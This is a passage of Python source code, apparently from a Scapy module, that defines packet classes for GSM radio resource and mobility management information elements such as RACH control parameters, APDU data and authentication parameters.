BitField("eightBitMSA", None, 1), XBitField("ieiMSA", None, 7), XByteField("lengthMSA", None), BitField("ext0", 0x1, 1), BitField("da", 0x0, 7), ConditionalField(BitField("ext1", 0x1, 1), # optional lambda pkt: pkt.ext0 == 0), ConditionalField(BitField("ua", 0x0, 7), lambda pkt: pkt.ext0 == 0), ByteField("chan1", None), ByteField("chan2", None), ByteField("chan3", None), ByteField("chan4", None), ByteField("chan5", None), ByteField("chan6", None), ByteField("chan7", None), ByteField("chan8", None) ] def post_build(self, p, pay): a = [getattr(self, fld.name) for fld in self.fields_desc] res = adapt(3, 12, a, self.fields_desc) if res[0] != 0: p = p[:-res[0]] if self.lengthMSA is None: p = p[:1] + struct.pack(">B", len(p)-2) + p[2:] return p + pay class NcModeHdr(Packet): """NC mode Section 10.5.2.21c""" name = "NC Mode" fields_desc = [ XBitField("ieiNM", None, 4), BitField("spare", 0x0, 2), BitField("ncMode", 0x0, 2) ] # Fix for len problem # concatenation NC Mode And Spare Half Octets class NcModeAndSpareHalfOctets(Packet): name = "NC Mode And Spare Half Octets" fields_desc = [ BitField("spare", 0x0, 2), BitField("ncMode", 0x0, 2), BitField("spareHalfOctets", 0x0, 4) ] class NeighbourCellsDescriptionHdr(Packet): """Neighbour Cells Description Section 10.5.2.22""" name = "Neighbour Cells Description" fields_desc = [ BitField("eightBitNCD", None, 1), XBitField("ieiNCD", None, 7), BitField("bit128", 0x0, 1), BitField("bit127", 0x0, 1), BitField("extInd", 0x0, 1), BitField("baInd", 0x0, 1), BitField("bit124", 0x0, 1), BitField("bit123", 0x0, 1), BitField("bit122", 0x0, 1), BitField("bit121", 0x0, 1), BitField("120bits", 0x0, 120) ] class NeighbourCellsDescription2Hdr(Packet): """Neighbour Cells Description 2 Section 10.5.2.22a""" name = "Neighbour Cells Description 2" fields_desc = [ BitField("eightBitNCD2", None, 1), XBitField("ieiNCD2", None, 7), BitField("bit128", 0x0, 1), BitField("multiband", 0x0, 2), BitField("baInd", 0x0, 1), BitField("bit124", 0x0, 1), BitField("bit123", 0x0, 1), BitField("bit122", 0x0, 1), BitField("bit121", 0x0, 1), BitField("120bits", 0x0, 120) ] class NtNRestOctets(Packet): """NT/N Rest Octets Section 10.5.2.22c""" name = "NT/N Rest Octets" fields_desc = [ BitField("nln", 0x0, 2), BitField("ncnInfo", 0x0, 4), BitField("spare", 0x0, 2) ] # # The following packet has no length info! # # len 1-18 class P1RestOctets(Packet): """P1 Rest Octets Section 10.5.2.23""" name = "P1 Rest Octets" fields_desc = [ BitField("nln", 0x0, 2), BitField("nlnStatus", 0x0, 1), BitField("prio1", 0x0, 3), BitField("prio2", 0x0, 3), # optional BitField("pageIndication1", 0x0, 1), BitField("pageIndication2", 0x0, 1), BitField("spare", 0x0, 5), ByteField("spareB1", None), ByteField("spareB2", None), ByteField("spareB3", None), ByteField("spareB4", None), ByteField("spareB5", None), ByteField("spareB6", None), ByteField("spareB7", None), ByteField("spareB8", None), ByteField("spareB9", None), ByteField("spareB10", None), ByteField("spareB11", None), ByteField("spareB12", None), ByteField("spareB13", None), ByteField("spareB14", None), ByteField("spareB15", None), ByteField("spareB16", None), ] # len 2-12 class P2RestOctets(Packet): """P2 Rest Octets Section 10.5.2.24""" name = "P2 Rest Octets" fields_desc = [ BitField("cn3", 0x0, 2), BitField("nln", 0x0, 2), BitField("nlnStatus", 0x0, 1), BitField("prio1", 0x0, 3), BitField("prio2", 0x0, 3), BitField("prio3", 0x0, 3), BitField("pageIndication3", 0x0, 1), BitField("spare", 0x0, 1), # optinal (No length field!) ByteField("spareB1", None), ByteField("spareB2", None), ByteField("spareB3", None), ByteField("spareB4", None), ByteField("spareB5", None), ByteField("spareB6", None), ByteField("spareB7", None), ByteField("spareB8", None), ByteField("spareB9", None), ByteField("spareB10", None) ] # len 4 class P3RestOctets(Packet): """P3 Rest Octets Section 10.5.2.25""" name = "P3 Rest Octets" fields_desc = [ BitField("cn3", 0x0, 2), BitField("cn4", 0x0, 2), BitField("nln", 0x0, 2), BitField("nlnStatus", 0x0, 1), BitField("prio1", 0x0, 3), BitField("prio2", 0x0, 3), BitField("prio3", 0x0, 3), BitField("prio4", 0x0, 3), BitField("spare", 0x0, 5) ] # len 4 # strange packet, lots of valid formats # ideas for the dynamic packets: # 1] for user interaction: Create an interactive "builder" based on a # Q/A process (not very scapy like) # 2] for usage in scripts, create an alternative packet for every # possible packet layout # class PacketChannelDescription(Packet): """Packet Channel Description Section 10.5.2.25a""" name = "Packet Channel Description" fields_desc = [ ByteField("ieiPCD", None), BitField("chanType", 0x0, 5), # This packet has multiple # possible layouts. I moddeled the first one BitField("tn", 0x0, 3), # maybe build an #"interactive" builder. Like # a Q/A then propose a # packet? BitField("tsc", 0x0, 3), BitField("chooser1", 0x0, 1), BitField("chooser2", 0x0, 1), BitField("spare1", 0x0, 1), BitField("arfcn", 0x0, 10), ] class DedicatedModeOrTBFHdr(Packet): """Dedicated mode or TBF Section 10.5.2.25b""" name = "Dedicated Mode or TBF" fields_desc = [ XBitField("ieiDMOT", None, 4), BitField("spare", 0x0, 1), BitField("tma", 0x0, 1), BitField("downlink", 0x0, 1), BitField("td", 0x0, 1) ] # FIXME add implementation class RrPacketUplinkAssignment(Packet): """RR Packet Uplink Assignment Section 10.5.2.25c""" name = "RR Packet Uplink Assignment" fields_desc = [ # Fill me ] class PageModeHdr(Packet): """Page Mode Section 10.5.2.26""" name = "Page Mode" fields_desc = [ XBitField("ieiPM", None, 4), BitField("spare", 0x0, 1), BitField("spare1", 0x0, 1), BitField("pm", 0x0, 2) ] # Fix for 1/2 len problem # concatenation: pageMode and dedicatedModeOrTBF class PageModeAndDedicatedModeOrTBF(Packet): name = "Page Mode and Dedicated Mode Or TBF" fields_desc = [ BitField("spare", 0x0, 1), BitField("spare1", 0x0, 1), BitField("pm", 0x0, 2), BitField("spare", 0x0, 1), BitField("tma", 0x0, 1), BitField("downlink", 0x0, 1), BitField("td", 0x0, 1) ] # Fix for 1/2 len problem # concatenation: pageMode and spareHalfOctets class PageModeAndSpareHalfOctets(Packet): name = "Page Mode and Spare Half Octets" fields_desc = [ BitField("spare", 0x0, 1), BitField("spare1", 0x0, 1), BitField("pm", 0x0, 2), BitField("spareHalfOctets", 0x0, 4) ] # Fix for 1/2 len problem # concatenation: pageMode and Channel Needed class PageModeAndChannelNeeded(Packet): name = "Page Mode and Channel Needed" fields_desc = [ BitField("spare", 0x0, 1), BitField("spare1", 0x0, 1), BitField("pm", 0x0, 2), BitField("channel2", 0x0, 2), BitField("channel1", 0x0, 2) ] class NccPermittedHdr(Packet): """NCC Permitted Section 10.5.2.27""" name = "NCC Permited" fields_desc = [ BitField("eightBitNP", None, 1), XBitField("ieiNP", None, 7), ByteField("nccPerm", 0x0) ] class PowerCommandHdr(Packet): """Power Command Section 10.5.2.28""" name = "Power Command" fields_desc = [ BitField("eightBitPC", None, 1), XBitField("ieiPC", None, 7), BitField("spare", 0x0, 1), BitField("spare1", 0x0, 1), BitField("spare2", 0x0, 1), BitField("powerLvl", 0x0, 5) ] class PowerCommandAndAccessTypeHdr(Packet): """Power Command and access type Section 10.5.2.28a""" name = "Power Command and Access Type" fields_desc = [ BitField("eightBitPCAAT", None, 1), XBitField("ieiPCAAT", None, 7), BitField("atc", 0x0, 1), BitField("spare", 0x0, 1), BitField("spare1", 0x0, 1), BitField("powerLvl", 0x0, 5) ] class RachControlParametersHdr(Packet): """RACH Control Parameters Section 10.5.2.29""" name = "RACH Control Parameters" fields_desc = [ BitField("eightBitRCP", None, 1), XBitField("ieiRCP", None, 7), BitField("maxRetrans", 0x0, 2), BitField("txInteger", 0x0, 4), BitField("cellBarrAccess", 0x0, 1), BitField("re", 0x0, 1), BitField("ACC15", 0x0, 1), BitField("ACC14", 0x0, 1), BitField("ACC13", 0x0, 1), BitField("ACC12", 0x0, 1), BitField("ACC11", 0x0, 1), BitField("ACC10", 0x0, 1), BitField("ACC09", 0x0, 1), BitField("ACC08", 0x0, 1), BitField("ACC07", 0x0, 1), BitField("ACC06", 0x0, 1), BitField("ACC05", 0x0, 1), BitField("ACC04", 0x0, 1), BitField("ACC03", 0x0, 1), BitField("ACC02", 0x0, 1), BitField("ACC01", 0x0, 1), BitField("ACC00", 0x0, 1), ] class RequestReferenceHdr(Packet): """Request Reference Section 10.5.2.30""" name = "Request Reference" fields_desc = [ BitField("eightBitRR", None, 1), XBitField("ieiRR", None, 7), ByteField("ra", 0x0), BitField("t1", 0x0, 5), BitField("t3Hi", 0x0, 3), BitField("t3Lo", 0x0, 3), BitField("t2", 0x0, 5) ] class RrCauseHdr(Packet): """RR Cause Section 10.5.2.31""" name = "RR Cause" fields_desc = [ BitField("eightBitRC", None, 1), XBitField("ieiRC", None, 7), ByteField("rrCause", 0x0) ] class Si1RestOctets(Packet): """SI 1 Rest Octets Section 10.5.2.32""" name = "SI 1 Rest Octets" fields_desc = [ ByteField("nchPos", 0x0) ] class Si2bisRestOctets(Packet): """SI 2bis Rest Octets Section 10.5.2.33""" name = "SI 2bis Rest Octets" fields_desc = [ ByteField("spare", 0x0) ] class Si2terRestOctets(Packet): """SI 2ter Rest Octets Section 10.5.2.33a""" name = "SI 2ter Rest Octets" fields_desc = [ ByteField("spare1", 0x0), ByteField("spare2", 0x0), ByteField("spare3", 0x0), ByteField("spare4", 0x0) ] # len 5 class Si3RestOctets(Packet): """SI 3 Rest Octets Section 10.5.2.34""" name = "SI 3 Rest Octets" fields_desc = [ ByteField("byte1", 0x0), ByteField("byte2", 0x0), ByteField("byte3", 0x0), ByteField("byte4", 0x0), ByteField("byte5", 0x0) ] # len 1 to 11 class Si4RestOctets(Packet): """SI 4 Rest Octets Section 10.5.2.35""" name = "SI 4 Rest Octets" fields_desc = [ XByteField("lengthSI4", None), ByteField("byte2", None), ByteField("byte3", None), ByteField("byte4", None), ByteField("byte5", None), ByteField("byte6", None), ByteField("byte7", None), ByteField("byte8", None), ByteField("byte9", None), ByteField("byte10", None), ByteField("byte11", None) ] def post_build(self, p, pay): a = [getattr(self, fld.name) for fld in self.fields_desc] res = adapt(1, 11, a, self.fields_desc, 1) if self.lengthSI4 is None: p = struct.pack(">B", res[1]) + p[1:] if res[0] != 0: p = p[:-res[0]] if len(p) is 1: # length of this packet can be 0, but packet is p = '' # but the IE is manadatory 0_o return p + pay class Si6RestOctets(Packet): """SI 6 Rest Octets Section 10.5.2.35a""" name = "SI 4 Rest Octets" fields_desc = [ # FIXME ] # len 21 class Si7RestOctets(Packet): """SI 7 Rest Octets Section 10.5.2.36""" name = "SI 7 Rest Octets" fields_desc = [ # FIXME XByteField("lengthSI7", 0x15), ByteField("byte2", 0x0), ByteField("byte3", 0x0), ByteField("byte4", 0x0), ByteField("byte5", 0x0), ByteField("byte6", 0x0), ByteField("byte7", 0x0), ByteField("byte8", 0x0), ByteField("byte9", 0x0), ByteField("byte10", 0x0), ByteField("byte11", 0x0), ByteField("byte12", 0x0), ByteField("byte13", 0x0), ByteField("byte14", 0x0), ByteField("byte15", 0x0), ByteField("byte16", 0x0), ByteField("byte17", 0x0), ByteField("byte18", 0x0), ByteField("byte19", 0x0), ByteField("byte20", 0x0), ByteField("byte21", 0x0) ] # len 21 class Si8RestOctets(Packet): """SI 8 Rest Octets Section 10.5.2.37""" name = "SI 8 Rest Octets" fields_desc = [ # FIXME XByteField("lengthSI8", 0x15), ByteField("byte2", 0x0), ByteField("byte3", 0x0), ByteField("byte4", 0x0), ByteField("byte5", 0x0), ByteField("byte6", 0x0), ByteField("byte7", 0x0), ByteField("byte8", 0x0), ByteField("byte9", 0x0), ByteField("byte10", 0x0), ByteField("byte11", 0x0), ByteField("byte12", 0x0), ByteField("byte13", 0x0), ByteField("byte14", 0x0), ByteField("byte15", 0x0), ByteField("byte16", 0x0), ByteField("byte17", 0x0), ByteField("byte18", 0x0), ByteField("byte19", 0x0), ByteField("byte20", 0x0), ByteField("byte21", 0x0) ] #len 17 class Si9RestOctets(Packet): """SI 9 Rest Octets Section 10.5.2.37a""" name = "SI 9 Rest Octets" fields_desc = [ # FIXME XByteField("lengthSI9", 0x11), ByteField("byte2", 0x0), ByteField("byte3", 0x0), ByteField("byte4", 0x0), ByteField("byte5", 0x0), ByteField("byte6", 0x0), ByteField("byte7", 0x0), ByteField("byte8", 0x0), ByteField("byte9", 0x0), ByteField("byte10", 0x0), ByteField("byte11", 0x0), ByteField("byte12", 0x0), ByteField("byte13", 0x0), ByteField("byte14", 0x0), ByteField("byte15", 0x0), ByteField("byte16", 0x0), ByteField("byte17", 0x0) ] # len 21 class Si13RestOctets(Packet): """SI 13 Rest Octets Section 10.5.2.37b""" name = "SI 13 Rest Octets" fields_desc = [ # FIXME XByteField("lengthSI3", 0x15), ByteField("byte2", 0x0), ByteField("byte3", 0x0), ByteField("byte4", 0x0), ByteField("byte5", 0x0), ByteField("byte6", 0x0), ByteField("byte7", 0x0), ByteField("byte8", 0x0), ByteField("byte9", 0x0), ByteField("byte10", 0x0), ByteField("byte11", 0x0), ByteField("byte12", 0x0), ByteField("byte13", 0x0), ByteField("byte14", 0x0), ByteField("byte15", 0x0), ByteField("byte16", 0x0), ByteField("byte17", 0x0), ByteField("byte18", 0x0), ByteField("byte19", 0x0), ByteField("byte20", 0x0), ByteField("byte21", 0x0) ] # 10.5.2.37c [spare] # 10.5.2.37d [spare] # len 21 class Si16RestOctets(Packet): """SI 16 Rest Octets Section 10.5.2.37e""" name = "SI 16 Rest Octets" fields_desc = [ # FIXME XByteField("lengthSI16", 0x15), ByteField("byte2", 0x0), ByteField("byte3", 0x0), ByteField("byte4", 0x0), ByteField("byte5", 0x0), ByteField("byte6", 0x0), ByteField("byte7", 0x0), ByteField("byte8", 0x0), ByteField("byte9", 0x0), ByteField("byte10", 0x0), ByteField("byte11", 0x0), ByteField("byte12", 0x0), ByteField("byte13", 0x0), ByteField("byte14", 0x0), ByteField("byte15", 0x0), ByteField("byte16", 0x0), ByteField("byte17", 0x0), ByteField("byte18", 0x0), ByteField("byte19", 0x0), ByteField("byte20", 0x0), ByteField("byte21", 0x0) ] # len 21 class Si17RestOctets(Packet): """SI 17 Rest Octets Section 10.5.2.37f""" name = "SI 17 Rest Octets" fields_desc = [ # FIXME XByteField("lengthSI17", 0x15), ByteField("byte2", 0x0), ByteField("byte3", 0x0), ByteField("byte4", 0x0), ByteField("byte5", 0x0), ByteField("byte6", 0x0), ByteField("byte7", 0x0), ByteField("byte8", 0x0), ByteField("byte9", 0x0), ByteField("byte10", 0x0), ByteField("byte11", 0x0), ByteField("byte12", 0x0), ByteField("byte13", 0x0), ByteField("byte14", 0x0), ByteField("byte15", 0x0), ByteField("byte16", 0x0), ByteField("byte17", 0x0), ByteField("byte18", 0x0), ByteField("byte19", 0x0), ByteField("byte20", 0x0), ByteField("byte21", 0x0) ] class StartingTimeHdr(Packet): """Starting Time Section 10.5.2.38""" name = "Starting Time" fields_desc = [ BitField("eightBitST", None, 1), XBitField("ieiST", None, 7), ByteField("ra", 0x0), BitField("t1", 0x0, 5), BitField("t3Hi", 0x0, 3), BitField("t3Lo", 0x0, 3), BitField("t2", 0x0, 5) ] class SynchronizationIndicationHdr(Packet): """Synchronization Indication Section 10.5.2.39""" name = "Synchronization Indication" fields_desc = [ XBitField("ieiSI", None, 4), BitField("nci", 0x0, 1), BitField("rot", 0x0, 1), BitField("si", 0x0, 2) ] class TimingAdvanceHdr(Packet): """Timing Advance Section 10.5.2.40""" name = "Timing Advance" fields_desc = [ BitField("eightBitTA", None, 1), XBitField("ieiTA", None, 7), BitField("spare", 0x0, 1), BitField("spare1", 0x0, 1), BitField("timingVal", 0x0, 6) ] class TimeDifferenceHdr(Packet): """ Time Difference Section 10.5.2.41""" name = "Time Difference" fields_desc = [ BitField("eightBitTD", None, 1), XBitField("ieiTD", None, 7), XByteField("lengthTD", 0x3), ByteField("timeValue", 0x0) ] class TlliHdr(Packet): """ TLLI Section Section 10.5.2.41a""" name = "TLLI" fields_desc = [ BitField("eightBitT", None, 1), XBitField("ieiT", None, 7), ByteField("value", 0x0), ByteField("value1", 0x0), ByteField("value2", 0x0), ByteField("value3", 0x0) ] class TmsiPTmsiHdr(Packet): """ TMSI/P-TMSI Section 10.5.2.42""" name = "TMSI/P-TMSI" fields_desc = [ BitField("eightBitTPT", None, 1), XBitField("ieiTPT", None, 7), ByteField("value", 0x0), ByteField("value1", 0x0), ByteField("value2", 0x0), ByteField("value3", 0x0) ] class VgcsTargetModeIdenticationHdr(Packet): """ VGCS target Mode Indication 10.5.2.42a""" name = "VGCS Target Mode Indication" fields_desc = [ BitField("eightBitVTMI", None, 1), XBitField("ieiVTMI", None, 7), XByteField("lengthVTMI", 0x2), BitField("targerMode", 0x0, 2), BitField("cipherKeyNb", 0x0, 4), BitField("spare", 0x0, 1), BitField("spare1", 0x0, 1) ] class WaitIndicationHdr(Packet): """ Wait Indication Section 10.5.2.43""" name = "Wait Indication" fields_desc = [ # asciiart of specs strange BitField("eightBitWI", None, 1), XBitField("ieiWI", None, 7), ByteField("timeoutVal", 0x0) ] # len 17 class ExtendedMeasurementResultsHdr(Packet): """EXTENDED MEASUREMENT RESULTS Section 10.5.2.45""" name = "Extended Measurement Results" fields_desc = [ BitField("eightBitEMR", None, 1), XBitField("ieiEMR", None, 7), BitField("scUsed", None, 1), BitField("dtxUsed", None, 1), BitField("rxLevC0", None, 6), BitField("rxLevC1", None, 6), BitField("rxLevC2Hi", None, 2), BitField("rxLevC2Lo", None, 4), BitField("rxLevC3Hi", None, 4), BitField("rxLevC3Lo", None, 3), BitField("rxLevC4", None, 5), BitField("rxLevC5", None, 6), BitField("rxLevC6Hi", None, 2), BitField("rxLevC6Lo", None, 4), BitField("rxLevC7Hi", None, 4), BitField("rxLevC7Lo", None, 2), BitField("rxLevC8", None, 6), BitField("rxLevC9", None, 6), BitField("rxLevC10Hi", None, 2), BitField("rxLevC10Lo", None, 4), BitField("rxLevC11Hi", None, 4), BitField("rxLevC13Lo", None, 2), BitField("rxLevC12", None, 6), BitField("rxLevC13", None, 6), BitField("rxLevC14Hi", None, 2), BitField("rxLevC14Lo", None, 4), BitField("rxLevC15Hi", None, 4), BitField("rxLevC15Lo", None, 2), BitField("rxLevC16", None, 6), BitField("rxLevC17", None, 6), BitField("rxLevC18Hi", None, 2), BitField("rxLevC18Lo", None, 4), BitField("rxLevC19Hi", None, 4), BitField("rxLevC19Lo", None, 2), BitField("rxLevC20", None, 6) ] # len 17 class ExtendedMeasurementFrequencyListHdr(Packet): """Extended Measurement Frequency List Section 10.5.2.46""" name = "Extended Measurement Frequency List" fields_desc = [ BitField("eightBitEMFL", None, 1), XBitField("ieiEMFL", None, 7), BitField("bit128", 0x0, 1), BitField("bit127", 0x0, 1), BitField("spare", 0x0, 1), BitField("seqCode", 0x0, 1), BitField("bit124", 0x0, 1), BitField("bit123", 0x0, 1), BitField("bit122", 0x0, 1), BitField("bit121", 0x0, 1), BitField("bitsRest", 0x0, 128) ] class SuspensionCauseHdr(Packet): """Suspension Cause Section 10.5.2.47""" name = "Suspension Cause" fields_desc = [ BitField("eightBitSC", None, 1), XBitField("ieiSC", None, 7), ByteField("suspVal", 0x0) ] class ApduIDHdr(Packet): """APDU Flags Section 10.5.2.48""" name = "Apdu Id" fields_desc = [ XBitField("ieiAI", None, 4), BitField("id", None, 4) ] class ApduFlagsHdr(Packet): """APDU Flags Section 10.5.2.49""" name = "Apdu Flags" fields_desc = [ XBitField("iei", None, 4), BitField("spare", 0x0, 1), BitField("cr", 0x0, 1), BitField("firstSeg", 0x0, 1), BitField("lastSeg", 0x0, 1) ] # Fix 1/2 len problem class ApduIDAndApduFlags(Packet): name = "Apu Id and Apdu Flags" fields_desc = [ BitField("id", None, 4), BitField("spare", 0x0, 1), BitField("cr", 0x0, 1), BitField("firstSeg", 0x0, 1), BitField("lastSeg", 0x0, 1) ] # len 2 to max L3 (251) (done) class ApduDataHdr(Packet): """APDU Data Section 10.5.2.50""" name = "Apdu Data" fields_desc = [ BitField("eightBitAD", None, 1), XBitField("ieiAD", None, 7), XByteField("lengthAD", None), #optional ByteField("apuInfo1", None), ByteField("apuInfo2", None), ByteField("apuInfo3", None), ByteField("apuInfo4", None), ByteField("apuInfo5", None), ByteField("apuInfo6", None), ByteField("apuInfo7", None), ByteField("apuInfo8", None), ByteField("apuInfo9", None), ByteField("apuInfo10", None), ByteField("apuInfo11", None), ByteField("apuInfo12", None), ByteField("apuInfo13", None), ByteField("apuInfo14", None), ByteField("apuInfo15", None), ByteField("apuInfo16", None), ByteField("apuInfo17", None), ByteField("apuInfo18", None), ByteField("apuInfo19", None), ByteField("apuInfo20", None), ByteField("apuInfo21", None), ByteField("apuInfo22", None), ByteField("apuInfo23", None), ByteField("apuInfo24", None), ByteField("apuInfo25", None), ByteField("apuInfo26", None), ByteField("apuInfo27", None), ByteField("apuInfo28", None), ByteField("apuInfo29", None), ByteField("apuInfo30", None), ByteField("apuInfo31", None), ByteField("apuInfo32", None), ByteField("apuInfo33", None), ByteField("apuInfo34", None), ByteField("apuInfo35", None), ByteField("apuInfo36", None), ByteField("apuInfo37", None), ByteField("apuInfo38", None), ByteField("apuInfo39", None), ByteField("apuInfo40", None), ByteField("apuInfo41", None), ByteField("apuInfo42", None), ByteField("apuInfo43", None), ByteField("apuInfo44", None), ByteField("apuInfo45", None), ByteField("apuInfo46", None), ByteField("apuInfo47", None), ByteField("apuInfo48", None), ByteField("apuInfo49", None), ByteField("apuInfo50", None), ByteField("apuInfo51", None), ByteField("apuInfo52", None), ByteField("apuInfo53", None), ByteField("apuInfo54", None), ByteField("apuInfo55", None), ByteField("apuInfo56", None), ByteField("apuInfo57", None), ByteField("apuInfo58", None), ByteField("apuInfo59", None), ByteField("apuInfo60", None), ByteField("apuInfo61", None), ByteField("apuInfo62", None), ByteField("apuInfo63", None), ByteField("apuInfo64", None), ByteField("apuInfo65", None), ByteField("apuInfo66", None), ByteField("apuInfo67", None), ByteField("apuInfo68", None), ByteField("apuInfo69", None), ByteField("apuInfo70", None), ByteField("apuInfo71", None), ByteField("apuInfo72", None), ByteField("apuInfo73", None), ByteField("apuInfo74", None), ByteField("apuInfo75", None), ByteField("apuInfo76", None), ByteField("apuInfo77", None), ByteField("apuInfo78", None), ByteField("apuInfo79", None), ByteField("apuInfo80", None), ByteField("apuInfo81", None), ByteField("apuInfo82", None), ByteField("apuInfo83", None), ByteField("apuInfo84", None), ByteField("apuInfo85", None), ByteField("apuInfo86", None), ByteField("apuInfo87", None), ByteField("apuInfo88", None), ByteField("apuInfo89", None), ByteField("apuInfo90", None), ByteField("apuInfo91", None), ByteField("apuInfo92", None), ByteField("apuInfo93", None), ByteField("apuInfo94", None), ByteField("apuInfo95", None), ByteField("apuInfo96", None), ByteField("apuInfo97", None), ByteField("apuInfo98", None), ByteField("apuInfo99", None), ByteField("apuInfo100", None), ByteField("apuInfo101", None), ByteField("apuInfo102", None), ByteField("apuInfo103", None), ByteField("apuInfo104", None), ByteField("apuInfo105", None), ByteField("apuInfo106", None), ByteField("apuInfo107", None), ByteField("apuInfo108", None), ByteField("apuInfo109", None), ByteField("apuInfo110", None), ByteField("apuInfo111", None), ByteField("apuInfo112", None), ByteField("apuInfo113", None), ByteField("apuInfo114", None), ByteField("apuInfo115", None), ByteField("apuInfo116", None), ByteField("apuInfo117", None), ByteField("apuInfo118", None), ByteField("apuInfo119", None), ByteField("apuInfo120", None), ByteField("apuInfo121", None), ByteField("apuInfo122", None), ByteField("apuInfo123", None), ByteField("apuInfo124", None), ByteField("apuInfo125", None), ByteField("apuInfo126", None), ByteField("apuInfo127", None), ByteField("apuInfo128", None), ByteField("apuInfo129", None), ByteField("apuInfo130", None), ByteField("apuInfo131", None), ByteField("apuInfo132", None), ByteField("apuInfo133", None), ByteField("apuInfo134", None), ByteField("apuInfo135", None), ByteField("apuInfo136", None), ByteField("apuInfo137", None), ByteField("apuInfo138", None), ByteField("apuInfo139", None), ByteField("apuInfo140", None), ByteField("apuInfo141", None), ByteField("apuInfo142", None), ByteField("apuInfo143", None), ByteField("apuInfo144", None), ByteField("apuInfo145", None), ByteField("apuInfo146", None), ByteField("apuInfo147", None), ByteField("apuInfo148", None), ByteField("apuInfo149", None), ByteField("apuInfo150", None), ByteField("apuInfo151", None), ByteField("apuInfo152", None), ByteField("apuInfo153", None), ByteField("apuInfo154", None), ByteField("apuInfo155", None), ByteField("apuInfo156", None), ByteField("apuInfo157", None), ByteField("apuInfo158", None), ByteField("apuInfo159", None), ByteField("apuInfo160", None), ByteField("apuInfo161", None), ByteField("apuInfo162", None), ByteField("apuInfo163", None), ByteField("apuInfo164", None), ByteField("apuInfo165", None), ByteField("apuInfo166", None), ByteField("apuInfo167", None), ByteField("apuInfo168", None), ByteField("apuInfo169", None), ByteField("apuInfo170", None), ByteField("apuInfo171", None), ByteField("apuInfo172", None), ByteField("apuInfo173", None), ByteField("apuInfo174", None), ByteField("apuInfo175", None), ByteField("apuInfo176", None), ByteField("apuInfo177", None), ByteField("apuInfo178", None), ByteField("apuInfo179", None), ByteField("apuInfo180", None), ByteField("apuInfo181", None), ByteField("apuInfo182", None), ByteField("apuInfo183", None), ByteField("apuInfo184", None), ByteField("apuInfo185", None), ByteField("apuInfo186", None), ByteField("apuInfo187", None), ByteField("apuInfo188", None), ByteField("apuInfo189", None), ByteField("apuInfo190", None), ByteField("apuInfo191", None), ByteField("apuInfo192", None), ByteField("apuInfo193", None), ByteField("apuInfo194", None), ByteField("apuInfo195", None), ByteField("apuInfo196", None), ByteField("apuInfo197", None), ByteField("apuInfo198", None), ByteField("apuInfo199", None), ByteField("apuInfo200", None), ByteField("apuInfo201", None), ByteField("apuInfo202", None), ByteField("apuInfo203", None), ByteField("apuInfo204", None), ByteField("apuInfo205", None), ByteField("apuInfo206", None), ByteField("apuInfo207", None), ByteField("apuInfo208", None), ByteField("apuInfo209", None), ByteField("apuInfo210", None), ByteField("apuInfo211", None), ByteField("apuInfo212", None), ByteField("apuInfo213", None), ByteField("apuInfo214", None), ByteField("apuInfo215", None), ByteField("apuInfo216", None), ByteField("apuInfo217", None), ByteField("apuInfo218", None), ByteField("apuInfo219", None), ByteField("apuInfo220", None), ByteField("apuInfo221", None), ByteField("apuInfo222", None), ByteField("apuInfo223", None), ByteField("apuInfo224", None), ByteField("apuInfo225", None), ByteField("apuInfo226", None), ByteField("apuInfo227", None), ByteField("apuInfo228", None), ByteField("apuInfo229", None), ByteField("apuInfo230", None), ByteField("apuInfo231", None), ByteField("apuInfo232", None), ByteField("apuInfo233", None), ByteField("apuInfo234", None), ByteField("apuInfo235", None), ByteField("apuInfo236", None), ByteField("apuInfo237", None), ByteField("apuInfo238", None), ByteField("apuInfo239", None), ByteField("apuInfo240", None), ByteField("apuInfo241", None), ByteField("apuInfo242", None), ByteField("apuInfo243", None), ByteField("apuInfo244", None), ByteField("apuInfo245", None), ByteField("apuInfo246", None), ByteField("apuInfo247", None), ByteField("apuInfo248", None), ByteField("apuInfo249", None) ] def post_build(self, p, pay): a = [getattr(self, fld.name) for fld in self.fields_desc] res = adapt(2, 251, a, self.fields_desc) if self.lengthAD is None: p = p[:1] + struct.pack(">B", res[1]) + p[2:] if res[0] != 0: p = p[:-res[0]] return p + pay # # 10.5.3 Mobility management information elements # class AuthenticationParameterRAND(Packet): """Authentication parameter RAND Section 10.5.3.1""" name = "Authentication Parameter Rand" fields_desc = [ ByteField("ieiAPR", None), BitField("randValue", 0x0, 128) ] class AuthenticationParameterSRES(Packet): """Authentication parameter SRES Section 10.5.3.2""" name = "Authentication Parameter Sres" fields_desc = [ ByteField("ieiAPS", None), BitField("sresValue", 0x0, 40) ] class CmServiceType(Packet): """CM service type Section 10.5.3.3""" name = "CM Service Type" fields_desc = [ XBitField("ieiCST", 0x0, 4), BitField("serviceType", 0x0, 4) ] class CmServiceTypeAndCiphKeySeqNr(Packet): name = "CM Service Type and Cipher Key Sequence Number" fields_desc = [ BitField("keySeq", 0x0, 3), BitField("spare", 0x0, 1), BitField("serviceType", 0x0, 4) ] class IdentityType(Packet): """Identity type Section 10.5.3.4""" name = "Identity Type" fields_desc = [ XBitField("ieiIT", 0x0, 4), BitField("spare", 0x0, 1), BitField("idType", 0x1, 3) ] # Fix 1/2 len problem class IdentityTypeAndSpareHalfOctet(Packet): name = "Identity Type and Spare Half Octet" fields_desc = [ BitField("spare", 0x0, 1), BitField("idType", 0x1, 3), BitField("spareHalfOctets", 0x0, 4) ] class LocationUpdatingType(Packet): """Location updating type Section 10.5.3.5""" name = "Location Updating Type" fields_desc = [ XBitField("ieiLUT", 0x0, 4), BitField("for", 0x0, 1), BitField("spare", 0x0, 1), BitField("lut", 0x0, 2) ] class LocationUpdatingTypeAndCiphKeySeqNr(Packet): name = "Location Updating Type and Cipher Key Sequence Number" fields_desc = [ BitField("for", 0x0, 1), BitField("spare", 0x0, 1), BitField("lut", 0x0, 2), BitField("spare", 0x0, 1), BitField("keySeq", 0x0, 3) ] # len 3 to L3 max (251) (done) class NetworkNameHdr(Packet): """Network Name Section 10.5.3.5a""" name = "Network Name" fields_desc = [ BitField("eightBitNN", None, 1), XBitField("ieiNN", None, 7), XByteField("lengthNN", None), BitField("ext1", 0x1, 1), BitField("codingScheme", 0x0, 3), BitField("addCi", 0x0, 1), BitField("nbSpare", 0x0, 3), # optional ByteField("txtString1", None), ByteField("txtString2", None), ByteField("txtString3", None), ByteField("txtString4", None), ByteField("txtString5", None), ByteField("txtString6", None), ByteField("txtString7", None), ByteField("txtString8", None), ByteField("txtString9", None), ByteField("txtString10", None), ByteField("txtString11", None), ByteField("txtString12", None), ByteField("txtString13", None), ByteField("txtString14", None), ByteField("txtString15", None), 